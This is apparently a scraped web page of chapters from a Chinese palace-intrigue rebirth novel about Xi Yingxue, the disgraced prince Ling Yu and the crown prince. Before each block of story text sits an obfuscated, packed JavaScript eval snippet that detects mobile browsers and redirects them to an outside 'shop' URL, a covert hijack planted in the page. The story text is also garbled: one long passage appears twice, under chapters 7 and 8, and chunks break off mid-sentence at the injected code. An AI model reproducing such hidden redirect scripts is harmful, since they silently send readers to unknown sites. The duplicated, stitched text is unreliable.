;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096764|195648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上手吗?
闻所未闻啊!
即便是小将军都没有过这个待遇!
“不用。”凌昱开口,却咳了起来。
“闭嘴。”奚映雪毫不客气,伸手扯开他的衣服。
她现在已经有点生气了,身为皇子居然如此窝囊,一个不留神,他又把自己弄得一团糟!成为了她的手下,怎么可能任人欺负!
“……”
这下轮到凌昱不说话了。
身体虚弱,他本就一夜没睡,极度疲惫需要休息,还被几个人用了十成十的力气打了一顿,饶是他练武的身体,也经不住这么糟蹋。
更何况,看着少女气鼓鼓地为他上药,他原本耐受力极高,现在居然觉得伤口真的很痛,挣扎的手僵住了。
自己已经答应了服从她,那么这么痛的伤口,被主人这般怜悯着,似乎也变得合理了。
“我看到你上次在马场因为我受伤了,于心不忍,”奚映雪愤愤道:“但你若是下次再受伤,可就没人管你了!”
半天没等到他的回应,她抬头,看到凌昱迷茫的表情。
似是从未被人这般叮嘱过,一时竟不知如何回应。
奚映雪:“听到了吗?”
凌昱顿了一下,缓缓点头。
等到她上完药,一个蓄着山羊胡的老太医才匆匆赶来。正是奚映雪的随诊医生,与将军府有些关系,早年间受过奚家提点。
“奚小姐,奚小姐你没事吧!”孟太医一个飞扑,差点把旁边的丫鬟撞飞。
“不是我!是他!”白葱一样的手指向地上的人。
“哦哦!”孟太医又一个滑铲,飞到平躺着的凌昱旁边。
这小太监长得挺好看!被打得这么惨,难道是得罪奚小姐,被小姐罚打成这样?
那他是该往好里看,还是往坏里看?
孟太医苦苦思索着,只听奚映雪开口了:“好好治,他怎么样了?”
孟太医这才懂了,手忙脚乱地检查凌昱身上的伤口。
闻了闻他伤口上残留的金疮药味时,他露出来疑惑的表情。
这小太监身上的药非常好啊!从哪里得来的?
见伤口已经被处理的差不多了,他就开始把脉。
眉头逐渐拧起。
这小太监到底得罪谁了,身体一塌糊涂,营养不良、中毒、身上多种陈年旧伤,简直惨不忍睹!真怀疑他是怎么活到现在的。
清楚了大半,孟太医起身回复:“奚小姐,他身上的伤口用金疮药就行了,但是这中毒和一些陈年旧疾,需要慢慢调养,微臣回去开几副药,慢慢调养才有痊愈的可能性。”
奚映雪:“中毒?”
孟太医:“是的,皆是些慢慢发作的毒药,虽不致死,却能日渐损耗身体,还有几种毒素老臣才疏学浅,暂且未能辨认出来。”
奚映雪:......
他到底还有多少惊喜(吓)是她不知道的?
“嗯,知道了,你去开药吧,开好送到闻香阁。”奚映雪顿了下:“今日之事,你知道什么该说,什么不该说。”
孟太医小鸡叨米一样地点头,颤颤巍巍退下。
奚映雪看着地上虚弱身影,微微叹了一口气。
她果然,还是当不了狠心的人。
也好,至少今日他已经知道了自己与世家贵族的差距,跟着她,也好过被那帮下人凌辱而死。
良久,她转身走到门口,对屋内说道:“帮他收拾下,别冻着了。”
7. 神秘符号
离开冷宫,奚映雪返回闻香阁。
刚坐下歇息片刻,一个小宫女便低头躬身走近,恭敬传话:“奚小姐,昌平公主邀您今晚去兴庆宫赴宴,共赏夜色星辰。”
奚映雪微微蹙眉:“我今日刚入宫,身子尚有些乏累,这……”
“小姐恕罪,”小宫女连忙补充,语气急切却恭敬,“公主殿下说,许久未曾与您叙旧,十分挂念,特意备了薄宴,恳请您务必赏光。”
奚映雪心中顿时了然。
毫无疑问,将军府获得御赐惩佞鞭,她又获皇帝特批留宫,现下已成了京城的名人。方才在路上,便有四五拨太监宫女前来传话邀约,昌平公主此举,不过是其中之一。
这昌平公主年长她两岁,是宫中颇受宠爱的公主,性格活泼,与她自幼相识。
此刻奚映雪正因为救了凌昱而心烦意乱,完全没心情想正事,索性就应了下来,说不定能在昌平公主那能打探到那神秘符号之事。
也能暂且转移注意力,平复心绪。
她保持礼貌:“劳烦公主挂心,我稍后便过去。”
公主殿内,灯火璀璨。
殿内舞袖飘飘,殿外凭栏赏星,好不热闹。
昌平公主挨着她坐下,举杯饮酒。
可奚映雪却神色怏怏,坐于侧席,目光落在屋外沉沉夜色中。
“映雪,映雪!”
奚映雪猛地回神,果然还是昌平公主。“这舞蹈是我亲自编排的,特意邀你来欣赏,你却只顾着发呆,莫不是我兴庆宫的歌舞入不了你的眼?”
“啊,并非如此。”奚映雪连忙回神,抬手指向屋外,“我只是看星空一时看得入了神。”
“只是看星星,不是心里有事?”
公主目光紧紧盯着她的面庞,语气带着几分探究:“分明是心不在焉,还想瞒我。再过五日便是观星祭祀,你不提前盘算盘算?”
“盘算什么?”奚映雪一凛,甚至以为公主发现了她重生之事。
但是,前世这位昌平公主没多久就嫁到岭南了,此后再无交集,时隔多年,她应该不可能通过寥寥几句判断她的情况。
“你真是的,明明知道还问我。”公主娇嗔着嘟起嘴。
“自然是你哥哥奚明璋呀!你从前最盼着他能回朝团聚,如今他立了大功,若你在祭祀时求陛下恩准,说不定便能让他回京述职呢!”
奚映雪这才想起来,这位公主,好像短暂地喜欢过自己的哥哥。
“原来公主是为这事费心,我替哥哥谢过公主好意。只是兄长驻守边关,责任重大,怕是不能轻易回京。”
“我哪有费心……”公主脸颊愈发绯红。
奚映雪正想再说些什么,视线无意间瞥向门外守护的侍卫。
他长相平平,是最不起眼的那种,脖子上却佩戴着一个棕色配饰,却瞬间吸引了她的目光。
黑暗下,只能勉强看到配饰上刻着些许纹路。
那种符号很奇怪,好像不是大夏文字,反倒像是某种古老的异域语言,或者是什么特殊的标记。
奚映雪双眼瞬间睁大了。
这是——
神秘符号?!
公主看她死死盯着那个侍卫,还以为她对这人感兴趣。
她捂嘴一笑,对着侍卫招了招手:“你,过来。”
侍卫进来躬身行礼。
“你叫什么名字?在哪就职?”
“公主殿下,属下名叫王炜,隶属于皇家亲卫队四队。”侍卫垂首应答,语气礼貌。
“四队啊,家境想来寻常,”公主撇了撇嘴,“奚小姐有话问你,你可要好生回答。”
奚映雪懵懂地转头,看见公主挤眉弄眼地笑。
瞬间明白公主是会错了意,面上浮起一抹绯红。压下心中那份不自然,她开口:“你是哪里人氏?家中可还有亲眷?入皇宫任职多久了?”
“臣住在青崖村,父母早亡,家中只剩属下孤身一人,入皇宫任职已有一年有余。”侍卫应答道。
奚映雪闻言点头。
青崖村地处偏远,难道也存在了解这种符号的人?这个配饰,要么是他自己的旧物,要么是宫中有人给他的。
难道是昌平公主?
心思百转千回,她微咳一声,面上平淡道:“再过几日便是冬至大朝会,你需尽心护持公主周全,莫要出差错。”
侍卫点头,退下。
公主转过身,笑容带着促狭:“怎么?这就不问了?难不成是被太子管得太紧,连多问旁人几句都不敢了?”
奚映雪无语:“说什么呢!与太子殿下又有什么关系!”
公主:“这宫里谁人不知你喜欢太子,我看太子也关心你的紧呢。但是,太子对你管束颇严,这么早就干涉你接触外男,换做是我可受不了,你倒能甘之如饴?”
奚映雪:......
她知道公主素来没个正形,却不料她竟这样口无遮拦!
奚映雪定了定神,故作认真地说道:“我与太子两情相悦。不过话说回来,哥哥素来严苛,不知他对男女大防看法如何,等他回京我倒要问问。”
公主顿时怂了,连忙求饶:“好妹妹,我不说了还不行嘛!你可千万不要告诉奚将军!”
-
回到闻香阁。
绣橘凑了上来,“小姐,太医院已经将几服药送来了,您看需不需要明早奴婢送过去?”
奚映雪本想应下,然而突然想到孟太医今日那句“极其糟糕”的诊断。
凌昱,他不会就这么死了吧?要是死了,那她就解脱了啊!奚映雪恶狠狠地想:不用再为他费神,也算是为前世那些世家子弟出了一口气!
但转念又觉得,前世她没救过他,他都能熬到最后,还杀死了太子,又岂会因为一次围打而亡,还用了最好的金疮药。
罢了,他既然已经服从,索性送佛送到西吧。
她转头吩咐道:“去煎一副药,等下送过去。”
夜色渐深,冷宫内寒气逼人。
晚上,凌昱本在闭目休息,当听到院门口传来微弱的声音时,他瞬间睁开了双眼。
那双凤眸内闪过一丝狠戾,呵,倒是阴魂不散,看来他那位好四哥,是铁了心要置他于死地。
今早那拨人,他已经摸清楚是四皇子派来的,也许也是为了那东西。
他缓缓闭上眼,袖中悄然滑出一柄寸许长的袖里刀,金属冷光隐隐闪现。
门被推开了。
脚步声越来越近。
凌昱暗自蓄力,正欲发作,却忽然察觉不对:这些脚步声轻盈得异常。
正打算睁眼,忽然听见一道柔和的女声——
“把被子放到床上,把这里打扫一下。”
是奚映雪!
侍婢等人快步把被褥放下,开始清扫屋内。
绣橘皱着脸想:完了,回府后夫人真的会骂死她的,方才小姐说要亲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096765|195648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自来送药,她们极力阻拦,小姐却说这是九皇子,不是太监......
这般亲近失势皇子,还让一个皇子服从,小姐还是太大胆了啊!
凌昱紧闭着双眼,耳朵竖着。
不知为何,他竟不敢睁开眼。
听着裙摆扫过地面的声音,越来越近。
到床边停下。
他的心脏突然跳的很快。
忽地——
一双柔软温热的手抚上了他的额头。
“没发烧啊,怎么早就睡了......”奚映雪小声嘟囔着。
没注意到凌昱那微微颤抖的翩翩睫毛。
“醒醒。”那双手轻触他的脸庞,像是羽毛抖动。
凌昱不得不睁开双眼,呼气略急促。
果然,看到她。
奚映雪为参加公主宴会,特意换了一件百蝶穿花红缎裙,还吃了一点酒,此时脸色绯红,与嫣红衣裙交相辉映。
这抹红色,让这个灰蒙蒙的院落,多了一丝流光溢彩。
“起来,把这个喝了。”奚映雪微微蹙眉。
不是给他上了药了吗,怎么还是这么虚弱,那群死太监下手太重了!
凌昱的视线扫过那红裙,又停顿在她那白云里抹上朝霞的脸颊上。
他猛地闭上眼。
“哎?”奚映雪呆了一下,不是,她还没说下一句呢,怎么又闭上眼了,这么不想看到她吗?
她努力挽回:“醒醒。”
凌昱不为所动。
奚映雪无奈道:“你再不起来我喂你了......”
她还没说完,凌昱腾地一下起身,靠在墙上,谨慎地看着她里的碗:“这是何物?”
因为动作太大,还咳了两下。
奚映雪被他这幅如临大敌的模样逗笑了。
他还是凌昱吗?那个前世狠辣暴虐的燕王?
他不会是被夺舍了吧,如果他之后想起来她把他吓成这个样子,估计会尴尬地跳脚吧。
所以她笑了,温暖的笑。
凌昱凝视着眼前仿若百花竞相开放的面容,微怔。
那双眼睛里,有他的影子,是含着笑意的,不是嘲弄的。
他的眼中似有什么在隐隐流转,那丝防备像潮水般退去,取而代之的是迷茫、探究、甚至一丝胆怯。
像是害怕什么发生。
“这是毒药,你若敢喝,我就不用你服从我了。”奚映雪假装狠毒地笑。
她把碗送到他面前。
凌昱看着黑漆漆的药汁,又停顿在那雪白的双手上。
红袖柔荑,肤如凝脂,指尖也透着柔软的弧度,像是春天刚刚剥壳而出的笋。
他默默地接过碗,服下。
是毒药,也无妨。这样他就不再欠她了,自然也就不用再回馈他什么。
只是,这次的戏弄,又会持续多久?
眸色沉沉,他看着眼前的身影。
“既然你喝了,我就走了。”奚映雪满意地笑了。
她带着侍女转身离开。
凌昱躺下后,等着毒发。
半晌后,毫无动静,他感受着身体的反应,似乎没什么问题,不禁好奇:难道是什么奇怪的慢性毒药,至今还没发作?
他冷冷地看着桌上的空药碗、还有那盒一看就很名贵的金疮药。
转身躺下。
半晌后,他起身下床,把碗和金疮药收到了身边的柜子里。
8. 你是我的人
离开冷宫,奚映雪返回闻香阁。
刚坐下歇息片刻,一个小宫女便低头躬身走近,恭敬传话:“奚小姐,昌平公主邀您今晚去兴庆宫赴宴,共赏夜色星辰。”
奚映雪微微蹙眉:“我今日刚入宫,身子尚有些乏累,这……”
“小姐恕罪,”小宫女连忙补充,语气急切却恭敬,“公主殿下说,许久未曾与您叙旧,十分挂念,特意备了薄宴,恳请您务必赏光。”
奚映雪心中顿时了然。
毫无疑问,将军府获得御赐惩佞鞭,她又获皇帝特批留宫,现下已成了京城的名人。方才在路上,便有四五拨太监宫女前来传话邀约,昌平公主此举,不过是其中之一。
这昌平公主年长她两岁,是宫中颇受宠爱的公主,性格活泼,与她自幼相识。
此刻奚映雪正因为救了凌昱而心烦意乱,完全没心情想正事,索性就应了下来,说不定能在昌平公主那能打探到那神秘符号之事。
也能暂且转移注意力,平复心绪。
她保持礼貌:“劳烦公主挂心,我稍后便过去。”
公主殿内,灯火璀璨。
殿内舞袖飘飘,殿外凭栏赏星,好不热闹。
昌平公主挨着她坐下,举杯饮酒。
可奚映雪却神色怏怏,坐于侧席,目光落在屋外沉沉夜色中。
“映雪,映雪!”
奚映雪猛地回神,果然还是昌平公主。“这舞蹈是我亲自编排的,特意邀你来欣赏,你却只顾着发呆,莫不是我兴庆宫的歌舞入不了你的眼?”
“啊,并非如此。”奚映雪连忙回神,抬手指向屋外,“我只是看星空一时看得入了神。”
“只是看星星,不是心里有事?”
公主目光紧紧盯着她的面庞,语气带着几分探究:“分明是心不在焉,还想瞒我。再过五日便是观星祭祀,你不提前盘算盘算?”
“盘算什么?”奚映雪一凛,甚至以为公主发现了她重生之事。
但是,前世这位昌平公主没多久就嫁到岭南了,此后再无交集,时隔多年,她应该不可能通过寥寥几句判断她的情况。
“你真是的,明明知道还问我。”公主娇嗔着嘟起嘴。
“自然是你哥哥奚明璋呀!你从前最盼着他能回朝团聚,如今他立了大功,若你在祭祀时求陛下恩准,说不定便能让他回京述职呢!”
奚映雪这才想起来,这位公主,好像短暂地喜欢过自己的哥哥。
“原来公主是为这事费心,我替哥哥谢过公主好意。只是兄长驻守边关,责任重大,怕是不能轻易回京。”
“我哪有费心……”公主脸颊愈发绯红。
奚映雪正想再说些什么,视线无意间瞥向门外守护的侍卫。
他长相平平,是最不起眼的那种,脖子上却佩戴着一个棕色配饰,却瞬间吸引了她的目光。
黑暗下,只能勉强看到配饰上刻着些许纹路。
那种符号很奇怪,好像不是大夏文字,反倒像是某种古老的异域语言,或者是什么特殊的标记。
奚映雪双眼瞬间睁大了。
这是——
神秘符号?!
公主看她死死盯着那个侍卫,还以为她对这人感兴趣。
她捂嘴一笑,对着侍卫招了招手:“你,过来。”
侍卫进来躬身行礼。
“你叫什么名字?在哪就职?”
“公主殿下,属下名叫王炜,隶属于皇家亲卫队四队。”侍卫垂首应答,语气礼貌。
“四队啊,家境想来寻常,”公主撇了撇嘴,“奚小姐有话问你,你可要好生回答。”
奚映雪懵懂地转头,看见公主挤眉弄眼地笑。
瞬间明白公主是会错了意,面上浮起一抹绯红。压下心中那份不自然,她开口:“你是哪里人氏?家中可还有亲眷?入皇宫任职多久了?”
“臣住在青崖村,父母早亡,家中只剩属下孤身一人,入皇宫任职已有一年有余。”侍卫应答道。
奚映雪闻言点头。
青崖村地处偏远,难道也存在了解这种符号的人?这个配饰,要么是他自己的旧物,要么是宫中有人给他的。
难道是昌平公主?
心思百转千回,她微咳一声,面上平淡道:“再过几日便是冬至大朝会,你需尽心护持公主周全,莫要出差错。”
侍卫点头,退下。
公主转过身,笑容带着促狭:“怎么?这就不问了?难不成是被太子管得太紧,连多问旁人几句都不敢了?”
奚映雪无语:“说什么呢!与太子殿下又有什么关系!”
公主:“这宫里谁人不知你喜欢太子,我看太子也关心你的紧呢。但是,太子对你管束颇严,这么早就干涉你接触外男,换做是我可受不了,你倒能甘之如饴?”
奚映雪:......
她知道公主素来没个正形,却不料她竟这样口无遮拦!
奚映雪定了定神,故作认真地说道:“我与太子两情相悦。不过话说回来,哥哥素来严苛,不知他对男女大防看法如何,等他回京我倒要问问。”
公主顿时怂了,连忙求饶:“好妹妹,我不说了还不行嘛!你可千万不要告诉奚将军!”
-
回到闻香阁。
绣橘凑了上来,“小姐,太医院已经将几服药送来了,您看需不需要明早奴婢送过去?”
奚映雪本想应下,然而突然想到孟太医今日那句“极其糟糕”的诊断。
凌昱,他不会就这么死了吧?要是死了,那她就解脱了啊!奚映雪恶狠狠地想:不用再为他费神,也算是为前世那些世家子弟出了一口气!
但转念又觉得,前世她没救过他,他都能熬到最后,还杀死了太子,又岂会因为一次围打而亡,还用了最好的金疮药。
罢了,他既然已经服从,索性送佛送到西吧。
她转头吩咐道:“去煎一副药,等下送过去。”
夜色渐深,冷宫内寒气逼人。
晚上,凌昱本在闭目休息,当听到院门口传来微弱的声音时,他瞬间睁开了双眼。
那双凤眸内闪过一丝狠戾,呵,倒是阴魂不散,看来他那位好四哥,是铁了心要置他于死地。
今早那拨人,他已经摸清楚是四皇子派来的,也许也是为了那东西。
他缓缓闭上眼,袖中悄然滑出一柄寸许长的袖里刀,金属冷光隐隐闪现。
门被推开了。
脚步声越来越近。
凌昱暗自蓄力,正欲发作,却忽然察觉不对:这些脚步声轻盈得异常。
正打算睁眼,忽然听见一道柔和的女声——
“把被子放到床上,把这里打扫一下。”
是奚映雪!
侍婢等人快步把被褥放下,开始清扫屋内。
绣橘皱着脸想:完了,回府后夫人真的会骂死她的,方才小姐说要亲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096766|195648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自来送药,她们极力阻拦,小姐却说这是九皇子,不是太监......
这般亲近失势皇子,还让一个皇子服从,小姐还是太大胆了啊!
凌昱紧闭着双眼,耳朵竖着。
不知为何,他竟不敢睁开眼。
听着裙摆扫过地面的声音,越来越近。
到床边停下。
他的心脏突然跳的很快。
忽地——
一双柔软温热的手抚上了他的额头。
“没发烧啊,怎么早就睡了......”奚映雪小声嘟囔着。
没注意到凌昱那微微颤抖的翩翩睫毛。
“醒醒。”那双手轻触他的脸庞,像是羽毛抖动。
凌昱不得不睁开双眼,呼气略急促。
果然,看到她。
奚映雪为参加公主宴会,特意换了一件百蝶穿花红缎裙,还吃了一点酒,此时脸色绯红,与嫣红衣裙交相辉映。
这抹红色,让这个灰蒙蒙的院落,多了一丝流光溢彩。
“起来,把这个喝了。”奚映雪微微蹙眉。
不是给他上了药了吗,怎么还是这么虚弱,那群死太监下手太重了!
凌昱的视线扫过那红裙,又停顿在她那白云里抹上朝霞的脸颊上。
他猛地闭上眼。
“哎?”奚映雪呆了一下,不是,她还没说下一句呢,怎么又闭上眼了,这么不想看到她吗?
她努力挽回:“醒醒。”
凌昱不为所动。
奚映雪无奈道:“你再不起来我喂你了......”
她还没说完,凌昱腾地一下起身,靠在墙上,谨慎地看着她里的碗:“这是何物?”
因为动作太大,还咳了两下。
奚映雪被他这幅如临大敌的模样逗笑了。
他还是凌昱吗?那个前世狠辣暴虐的燕王?
他不会是被夺舍了吧,如果他之后想起来她把他吓成这个样子,估计会尴尬地跳脚吧。
所以她笑了,温暖的笑。
凌昱凝视着眼前仿若百花竞相开放的面容,微怔。
那双眼睛里,有他的影子,是含着笑意的,不是嘲弄的。
他的眼中似有什么在隐隐流转,那丝防备像潮水般退去,取而代之的是迷茫、探究、甚至一丝胆怯。
像是害怕什么发生。
“这是毒药,你若敢喝,我就不用你服从我了。”奚映雪假装狠毒地笑。
她把碗送到他面前。
凌昱看着黑漆漆的药汁,又停顿在那雪白的双手上。
红袖柔荑,肤如凝脂,指尖也透着柔软的弧度,像是春天刚刚剥壳而出的笋。
他默默地接过碗,服下。
是毒药,也无妨。这样他就不再欠她了,自然也就不用再回馈他什么。
只是,这次的戏弄,又会持续多久?
眸色沉沉,他看着眼前的身影。
“既然你喝了,我就走了。”奚映雪满意地笑了。
她带着侍女转身离开。
凌昱躺下后,等着毒发。
半晌后,毫无动静,他感受着身体的反应,似乎没什么问题,不禁好奇:难道是什么奇怪的慢性毒药,至今还没发作?
他冷冷地看着桌上的空药碗、还有那盒一看就很名贵的金疮药。
转身躺下。
半晌后,他起身下床,把碗和金疮药收到了身边的柜子里。
9. 冬至惊变
今日的皇宫,银装素裹,张灯结彩。
冬至大朝会,对整个皇宫、乃至整个大夏朝来说,都是举足轻重的庆典,素有“冬至大如年”之称。节日从前一晚深夜开始,皇帝将率宗亲外戚登坛观星祭天,清晨在太极殿接受朝贺,办理宴飨,藩属使节均参与,仪仗恢弘,规模宏大。
而在繁华盛景下,人心各异,暗流涌动。
有人满满期待,欲借庆典讨得皇帝欢心,谋得些许赏赐;意图在众人面前崭露头角,彰显自身才学。更有人,暗藏祸心,伺机而动。
太子殿,内室中有两人举杯而谈。
“太子,今日后,咱们可就再也见不到九弟那副狼狈模样了,你没和他好好道个别?”四皇子凌兆武听得外面热闹的演练礼仪声音,粗声粗气地冲着凌瑾瑜咧嘴一笑,语气里满是幸灾乐祸。
他身形魁梧,眉眼间带着几分霸道与憨直。
凌瑾瑜微微一笑:“四弟,九弟行事乖张,不得不惩罚。身为兄长,未能教好弟弟,我很是惭愧啊,还是不提也罢。”
凌兆武端起茶杯猛灌一口,“太子你向来敦厚仁慈,你认他做弟弟,他未必就认你这个兄长。”话音稍顿,他话锋一转,语气带着几分质疑:“再说了,映雪前几日去冷宫救下他这事,不知道是否是太子的授意?”
听见奚映雪的名字,凌瑾瑜眼中不悦一闪而过。
他指尖轻轻摩挲着茶杯边缘,语气依旧淡然:“映雪心地纯善,又刚得了御赐之物,看他可怜,一时被他花言巧语哄骗了也不奇怪。”
“呵呵,映雪妹妹一介女流,行事骄纵却也无伤大雅,我自然不会计较,”凌兆武低笑道,眼神里藏着几分觊觎,“太子可得看好她,若是实在棘手,我便帮你多照看几分,省得她一时糊涂坏了大事。”
凌瑾瑜面色依旧温和,手指却悄然捏紧了茶杯杯沿。
奚映雪也是他能肖想的?
凌兆武这等莽撞蠢物,不过是借母家势力掌管禁卫,可是太过愚蠢!只配当个棋子,又怎么值得他当成对手?
“这是自然,今日观星祭祀一过,基本也就尘埃落定了。”凌瑾瑜突然话锋一转,“也希望四弟尽快觅得良人,莫要再对映雪过分关心,惹人非议。”
听出太子话里的警告之意,凌兆武撇了撇嘴,满心不甘却也未再多言。他心里暗自腹诽:那奚映雪性子骄纵蛮横,也就生了一副高贵皮囊,被太子保护得太好,哪里懂什么权谋政治之术。
这么想着,眼前又浮现起那张娇俏赛雪的面庞。上次她气急之下踢了自己一脚,自己反倒偷偷开心了许久,若是能被她这般放在心上,哪怕是打骂也好。这般好事,怎么就偏偏落在了那个落魄的九皇子身上?
真是走了狗屎运!
“既然太子这么说了,我也就放心了,今日金吾卫事务繁杂,需得亲自督办,我便不再留了.....”凌兆武放下没喝完的茶,径直离开了书房。
凌瑾瑜目送着凌兆武离开的身影,眼底的温和尽数褪去,他一把将那茶杯扫到地上,茶杯“砰”地四分五裂。
“桀桀,太子这是生气了?这四皇子胸无城府,可不是不是什么好的搭档啊......”蓦地,一道阴恻恻的声音从屋内阴暗角落传来。
一个身穿豹皮云肩,扎着异域辫发的中年男子缓缓从黑暗之中走出。他身材削瘦、发质粗硬、面色黄褐粗糙,气质粗莽,一看就知绝非大夏之人。
“他母家背靠国公府,掌管宫中禁卫事务,这事由他做再好不过。”太子淡淡地道。
中年男人怪笑两声:“我可提醒你,那凌昱不是什么善茬,他身上必定藏着那件信物,若是就这般轻易杀了他,想要再寻得信物,可就难如登天了。”
凌瑾瑜眉头一皱,今日接连被人指手画脚,已经让他极为不爽,顿时低声道:“孤自有打算,无需邬使者多言!”
“哼,还不是找了这么久都毫无头绪。”
邬使者察觉到凌瑾瑜的不悦,非但没有收敛,反而阴笑道,“早知道当初就该按我说的,直接将他绑来,严刑逼供,抽筋扒皮,到如今也该问出信物下落了。太子殿下,你不会是心慈手软,不想知道那信物背后的秘密了吧?”
闻言,太子脸色微微一变,旋即干笑道:“邬使者说笑了,我们本就是友好的合作关系,同心协力,自然能寻得信物,我怎会半途而废。”
“呵呵,如此便好,我拭目以待。”邬使者咧嘴一笑,露出一口黄牙,身影缓缓后退,再次没入黑暗之中,如同从未出现过一般,只留下满室挥之不去的阴诡气息。
太子凝视着那片黑暗,温润的面庞上闪过一丝狠戾,又迅速消失。
-
夜幕降临,承天门楼。
正值观星之时,整个大朝会的高潮,方被拉开序幕。
高台上,玉阶千叠,直通霄汉。高台中央上,站立着皇家和妃子们,中间摆放着浑天仪、璇玑图,铜铸的环带刻满星斗方位,在月色的映照下泛着冷冽微光。高台之下,侍卫肃立,宫灯如昼,仪仗林立。
奚映雪陪着太子,正站在皇后身后。
她今日换上了一身雪白锦袍披风,裹着她那张娇美的小脸,耳边碎发随风飘扬。
“映雪妹妹,承天门楼上面高,你冷不冷?”太子凌瑾瑜一身玄狐裘氅,头戴玉冠,笑眯眯地呵护道。
奚映雪摇了摇头,声音清脆:“无妨,我还受得住。”她目光扫过高台之下的侍卫们,又想起来那日在公主殿所见所闻。
凌瑾瑜眼里尽是宠溺,“映雪妹妹今日可有想求的愿望,待祭祀结束,我便替你禀明父皇,必定为你达成。”
奚映雪本就在思考那个神秘符号,听到他的问题,旋即升起了想要询问他的打算。凌瑾瑜的师傅乃是当朝太傅,学识渊博,博览群书,或许他会知晓这符号的出处。
却突然,她被不安的感觉摄住了。
真的很奇怪,当那个符号出现在脑海里时,奇怪得让人不寒而栗。奚映雪有一种忐忑的、似曾相识的感觉。前世她好似也看过这样的符号,也好像是在什么挂饰上,好像还看到了一具尸体。明明脑中没有这段清晰的记忆,但那符号就是让她感觉很眼熟,莫名不安。
“映雪妹妹?你怎么了?”凌瑾瑜见她神色恍惚,连忙关切地问道。
奚映雪没太听清楚他在说什么,她静静地伫立着,脑中仔细搜索着那个符号的细节片段。突然,缓缓开口道:“露湛朝阳,星环紫极......”
“你说什么?”凌瑾瑜问道。
奚映雪猛地抬起头,她刚刚竟然想起来了自己完全没说过的话!想起来了没去过的地方的片段!那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096767|195648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
血色、黑色交织的画面这不由地让她感到一阵寒意,耳边还环绕着“露湛朝阳,星环紫极”的喃喃声。
惊恐过后,她强行压下脑中的破碎片段,平静道:“没事,太子哥哥,我刚刚只是在想愿望。”
凌瑾瑜微笑:“那现在想好了吗?无论是什么孤都会帮你实现的。”
“......”
奚映雪呼出一口气,看向远方的星空,开口:“今生,不祈天恩凭己力,自披云霭见月明。”
听见这个回答,凌瑾瑜一怔,眼中闪过一丝讶异。
不知为何,他总觉得奚映雪进宫后好像变得更迷人了。
原本她更多是皮囊高贵娇艳,现在则是那浑身都气质愈发出众,多了份多不出道不明的沉静,还有偶尔的神秘之感,如同蒙尘的美玉被拭去尘埃,惹得人想一探究竟,却又不敢轻易亵渎。
“妹妹说的好,自己努力固然重要,但若是遇到什么难处,孤自会为你遮风挡雨,护你周全。”
凌瑾瑜伸出手,替她整理好微乱的狐裘披风,又轻轻将她散落的碎发别到耳后,动作温柔细致,满是呵护之意。
奚映雪也没阻止,她还沉浸在刚刚出现在脑中的奇怪记忆中。而且,前世她与太子早做过夫妻,这样的举动,于她而言并不算过分。
然而,一阵寒意顺着脊背闪电般蔓延而上,她蓦地打了个寒颤。
一种被盯上的窒息感涌上心头。
她心头一紧,暗下转头张望,高台之上皆是神色肃穆的宗亲,高台之下亦是秩序井然,侍卫们严阵以待,看不出丝毫端倪。
她皱了皱眉,暗自思忖或许是自己记忆混乱,心事重重,才会这般草木皆兵。
却没发现,远方高台最幽暗的阴影之处,一道鬼魅般的身影静静伫立,仿佛与夜色融为一体。那双灰绿色的眼眸如同寒潭深冰,正一瞬不瞬地默默注视着这里。
就在此时,司天监老监正捧星图跪奏,声如苍老但响亮:“吉时已道,请陛下率皇家行礼,奏乐迎昊天上帝及诸神位!”
皇帝站在正中央,率皇后、太子等人行祭祀之礼焚香跪拜,动作一丝不苟。百官紧随其后,齐齐跪拜,场面肃穆。
“今夜紫微垣明朗,愿上天庇佑我大夏朝国运昌隆。”皇帝声朗如钟,穿透夜雾,传遍四方。
“愿上天庇佑我大夏朝国运昌隆,国泰民安,千秋万代——”众人齐声附和,声音震耳欲聋,响彻云霄。
